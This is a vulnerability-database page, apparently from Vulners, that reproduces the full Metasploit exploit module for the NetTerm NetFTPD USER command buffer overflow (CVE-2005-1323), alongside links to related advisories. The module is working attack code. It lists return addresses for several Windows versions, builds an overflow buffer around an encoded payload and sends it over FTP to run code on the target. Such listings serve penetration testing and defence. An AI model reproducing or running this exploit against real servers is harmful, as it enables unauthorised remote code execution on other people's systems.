Lucene search

K

NetTerm NetFTPD USER Buffer Overflow

🗓️ 24 Nov 2005 19:47:28Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

NetTerm NetFTPD USER Buffer Overflow vulnerabilit

Show more
Related
Code
ReporterTitlePublishedViews
Family
Packet Storm
NetTerm NetFTPD USER Buffer Overflow
26 Nov 200900:00
packetstorm
NVD
CVE-2005-1323
2 May 200504:00
nvd
Tenable Nessus
Intersoft NetTerm Netftpd USER Command Remote Overflow
26 Apr 200500:00
nessus
Cvelist
CVE-2005-1323
27 Apr 200504:00
cvelist
CVE
CVE-2005-1323
2 May 200504:00
cve
Kaspersky
KLA10272 ACE vulnerability in NetTerm
2 May 200500:00
kaspersky
Exploit DB
NetTerm NetFTPD - &#039;USER&#039; Remote Buffer Overflow (Metasploit)
5 Oct 201000:00
exploitdb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetTerm NetFTPD USER Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the NetTerm NetFTPD
        application. This package is part of the NetTerm package.
        This module uses the USER command to trigger the overflow.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-1323'],
          [ 'OSVDB', '15865'],
          [ 'URL', 'https://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
          [ 'BID', '13396'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x20\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => [ 'win' ],
      'Targets'        =>
        [
          [
            'NetTerm NetFTPD Universal',  # Tested OK - hdm 11/24/2005
            {
              'Ret'      => 0x0040df98, # netftpd.exe (multiple versions)
            },
          ],
          [
            'Windows 2000 English',
            {
              'Ret'      => 0x75022ac4, # ws2help.dll
            },
          ],
          [
            'Windows XP English SP0/SP1',
            {
              'Ret'      => 0x71aa32ad, # ws2help.dll
            },
          ],
          [
            'Windows 2003 English',
            {
              'Ret'      => 0x7ffc0638, # peb magic :-)
            },
          ],
          [
            'Windows NT 4.0 SP4/SP5/SP6',
            {
              'Ret'      => 0x77681799, # ws2help.dll
            },
          ],
        ],
      'DisclosureDate' => '2005-04-26',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect
    if (banner =~ /NetTerm FTP server/)
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    # U          push ebp
    # S          push ebx
    # E          inc ebp
    # R          push edx
    # \x20\xC0   and al, al

    buf          = rand_text_english(8192, payload_badchars)
    buf[0, 1]    = "\xc0"
    buf[1, payload.encoded.length] = payload.encoded
    buf[1014, 4] = [ target.ret ].pack('V')

    send_cmd( ["USER #{buf}"] )
    send_cmd( ['HELP'] )

    handler
    disconnect
  end
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
24 Nov 2005 19:28Current
7High risk
Vulners AI Score7
CVSS27.5
EPSS0.78183
16
.json
Report